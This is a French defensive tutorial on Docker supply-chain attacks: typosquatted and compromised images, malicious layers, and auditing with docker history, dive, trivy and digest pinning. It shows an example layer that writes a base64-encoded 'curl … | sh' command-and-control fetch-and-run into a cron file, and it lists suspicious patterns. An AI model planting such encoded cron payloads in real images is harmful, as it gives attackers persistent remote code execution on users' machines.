Docker : attaques par la chaîne d'approvisionnement
Télécharger une image Docker depuis un registre public, c’est exécuter du code arbitraire sur sa machine. Les couches qui composent l’image contiennent des commandes shell qui se sont exécutées au moment du build. Si une de ces couches est malveillante, son contenu tourne dans l’infrastructure sans que le docker run ne le révèle.
La surface d’attaque
Section intitulée « La surface d’attaque »Docker Hub héberge des millions d’images publiques. Toute personne disposant d’un compte peut en publier. Deux vecteurs principaux exposent les utilisateurs à des images corrompues.
Typosquatting d’images
Section intitulée « Typosquatting d’images »Le typosquatting consiste à publier une image sous un nom proche d’une image légitime, en misant sur une faute de frappe.
nginx ← image officiellengnix ← typosquat potentielnging ← typosquat potentielnginx-latest ← nom ambigu, pas officielDes images typosquattées ont été détectées sur Docker Hub avec des milliers de téléchargements avant leur suppression. Les noms ciblés sont ceux des images les plus populaires : python, node, ubuntu, alpine, postgres, redis.
Images compromise après publication
Section intitulée « Images compromise après publication »Une image peut être légitime à sa création et devenir malveillante plus tard, si le compte du mainteneur est compromis ou si le dépôt source est altéré. Utiliser une image sans épingler sa version par digest expose à ce risque.
Comment un layer malveillant fonctionne
Section intitulée « Comment un layer malveillant fonctionne »Une image Docker est une pile de couches (layers). Chaque instruction RUN dans un Dockerfile crée une couche qui contient le résultat de la commande exécutée.
FROM ubuntu:22.04RUN apt-get update && apt-get install -y curl # layer 1RUN curl -s https://exemple.com/app.tar.gz | tar -xz # layer 2RUN ./app/install.sh # layer 3À l’usage, seul le résultat final est visible. Les commandes qui ont produit chaque layer ne s’affichent pas dans le terminal lors du docker run.
Le pattern base64 dissimulé
Section intitulée « Le pattern base64 dissimulé »Des images malveillantes ont été publiées avec des layers contenant des payloads encodés en base64. Le pattern récurrent ressemble à ceci dans le Dockerfile source reconstruit :
/bin/sh -c echo $(echo "Y3VybCAtcyBodHRwOi8vMTkyLjAuMi4xL2MyIHwgc2g=" | base64 -d) >> /etc/cron.d/jobsLa commande décode une chaîne base64 et écrit le résultat dans un fichier. Le contenu décodé peut être :
- un script shell exécuté au démarrage du conteneur
- une entrée cron qui contacte un serveur distant à intervalles réguliers
- un backdoor ajouté dans
/etc/profile.d/ou un fichier de configuration système - un binaire écrit dans un répertoire accessible si l’image est destinée à un serveur
L’encodage base64 sert à rendre le payload illisible lors d’une inspection rapide des commandes dans docker history.
Exemple de payload décodé
Section intitulée « Exemple de payload décodé »echo "Y3VybCAtcyBodHRwOi8vMTkyLjAuMi4xL2MyIHwgc2g=" | base64 -dRésultat :
curl -s http://192.0.2.1/c2 | shUne commande qui télécharge et exécute un script depuis un serveur de commande et contrôle. L’adresse 192.0.2.1 est réservée à la documentation par la RFC 5737 (TEST-NET-1) ; en contexte réel, elle pointe vers l’infrastructure de l’attaquant. Une fois écrite dans /etc/cron.d/jobs, cette ligne s’exécute à intervalles réguliers et maintient un accès persistant à la machine.
Détecter les layers suspects
Section intitulée « Détecter les layers suspects »Inspecter l’historique de construction
Section intitulée « Inspecter l’historique de construction »docker history liste toutes les couches d’une image avec les commandes qui les ont produites :
docker history --no-trunc nom-image:tagL’option --no-trunc affiche les commandes complètes sans troncature. Sans elle, les commandes longues sont coupées et les payloads encodés ne sont pas lisibles.
IMAGE CREATED CREATED BY SIZEa1b2c3d4e5f6 2 days ago /bin/sh -c echo $(echo "Y3Vy..." | base64 -d) 0Bf6e5d4c3b2a1 2 days ago /bin/sh -c apt-get install -y nginx 45MBToute commande contenant base64 -d, eval, curl | bash, ou wget -O- | sh mérite une inspection.
Explorer les layers avec dive
Section intitulée « Explorer les layers avec dive »dive est un outil qui permet de naviguer dans chaque layer d’une image et d’inspecter les fichiers ajoutés, modifiés ou supprimés :
# Installationwget https://github.com/wagoodman/dive/releases/download/v0.12.0/dive_0.12.0_linux_amd64.debsudo dpkg -i dive_0.12.0_linux_amd64.deb
# Analyse d'une imagedive nom-image:tagL’interface affiche layer par layer les modifications du système de fichiers. Un fichier ajouté dans /etc/cron.d/, /etc/profile.d/, ou un répertoire applicatif sans raison apparente est un indicateur à investiguer.
Extraire et inspecter les layers manuellement
Section intitulée « Extraire et inspecter les layers manuellement »Une image Docker est une archive tar. Elle peut être exportée et inspectée sans l’exécuter :
# Sauvegarder l'image en archivedocker save nom-image:tag -o image.tar
# Extraire l'archivemkdir image_inspection && tar -xf image.tar -C image_inspection/
# Lister les layersls image_inspection/# blobs/ index.json manifest.json oci-layout
# Chaque layer est lui-même une archive tartar -tf image_inspection/blobs/sha256/<hash_layer>Cette approche permet d’examiner le contenu de chaque couche sans démarrer un conteneur.
Décoder les payloads base64 trouvés
Section intitulée « Décoder les payloads base64 trouvés »Une fois une commande suspecte repérée dans docker history, extraire et décoder le payload :
# Décoder directementecho "Y3VybCAtcyBodHRwOi8vMTkyLjAuMi4xL2MyIHwgc2g=" | base64 -d
# Si la chaîne est longue, l'écrire dans un fichier d'abordecho "Y3Vy..." > payload.b64base64 -d payload.b64 > payload_decodedfile payload_decodedcat payload_decodedAuditer avant d’exécuter
Section intitulée « Auditer avant d’exécuter »Vérifier l’authenticité de l’image
Section intitulée « Vérifier l’authenticité de l’image »Docker Hub distingue plusieurs niveaux de confiance :
| Indicateur | Signification |
|---|---|
| Docker Official Image | Maintenu par Docker, audité régulièrement |
| Verified Publisher | Éditeur vérifié par Docker (entreprise identifiée) |
| Sponsored OSS | Projet open source sponsorisé |
| Aucun badge | Image communautaire sans garantie |
Préférer systématiquement les images officielles ou celles des éditeurs vérifiés.
Épingler par digest plutôt que par tag
Section intitulée « Épingler par digest plutôt que par tag »Un tag comme nginx:latest pointe vers un contenu qui peut changer. Le digest SHA256 identifie une version immuable :
# Obtenir le digest d'une imagedocker inspect --format='{{index .RepoDigests 0}}' nginx:latest# nginx@sha256:a484819eb60211f5299034ac80f6a681b06f89e65866ce91f356ed7c72af059c
# Utiliser le digest dans le DockerfileFROM nginx@sha256:a484819eb60211f5299034ac80f6a681b06f89e65866ce91f356ed7c72af059cAvec un digest, l’image téléchargée est identique à celle validée, quelle que soit la date du pull.
Scanner avec trivy
Section intitulée « Scanner avec trivy »trivy inspecte les CVE et détecte certains patterns malveillants dans les images :
# Installationsudo apt-get install trivy
# Scanner une imagetrivy image nom-image:tag
# Scanner avec sortie JSON pour intégration CItrivy image --format json -o rapport.json nom-image:tagIntégrer la vérification en CI/CD
Section intitulée « Intégrer la vérification en CI/CD »Dans un pipeline GitHub Actions :
- name: Scanner l'image uses: aquasecurity/trivy-action@master with: image-ref: nom-image:tag format: table exit-code: 1 severity: HIGH,CRITICALLe pipeline échoue si une vulnérabilité critique est détectée, ce qui bloque le déploiement.
Cas des images compose
Section intitulée « Cas des images compose »docker-compose.yml référence souvent plusieurs images sans épingler les versions :
services: web: image: nginx:latest db: image: postgres:latest cache: image: redisChaque docker compose pull peut télécharger une version différente. La version épinglée par digest garantit la reproductibilité :
services: web: image: nginx@sha256:a484819eb60211f5299034ac80f6a681b06f89e65866ce91f356ed7c72af059c db: image: postgres@sha256:b94de8e1e...Remédiation
Section intitulée « Remédiation »- Utiliser uniquement des images officielles ou Verified Publisher pour les briques de base
- Épingler les images par digest dans les environnements de production
- Inspecter
docker history --no-truncsur toute image introduite dans l’infrastructure - Construire ses propres images de base à partir d’images officielles plutôt que d’hériter d’images communautaires inconnues
- Intégrer un scanner d’images (trivy, Snyk, Grype) dans le pipeline CI/CD
- Activer Docker Content Trust pour forcer la vérification des signatures :
export DOCKER_CONTENT_TRUST=1docker pull nom-image:tagÀ retenir
Section intitulée « À retenir »Chaque docker pull exécute potentiellement du code qui s’est lancé au moment du build de l’image. Un layer malveillant peut écrire des fichiers, installer des crons, ou ouvrir des connexions sortantes, sans que rien n’apparaisse dans le docker run. Inspecter docker history --no-trunc et décoder tout payload base64 avant d’exécuter une image inconnue prend quelques minutes et évite d’introduire une backdoor dans l’infrastructure.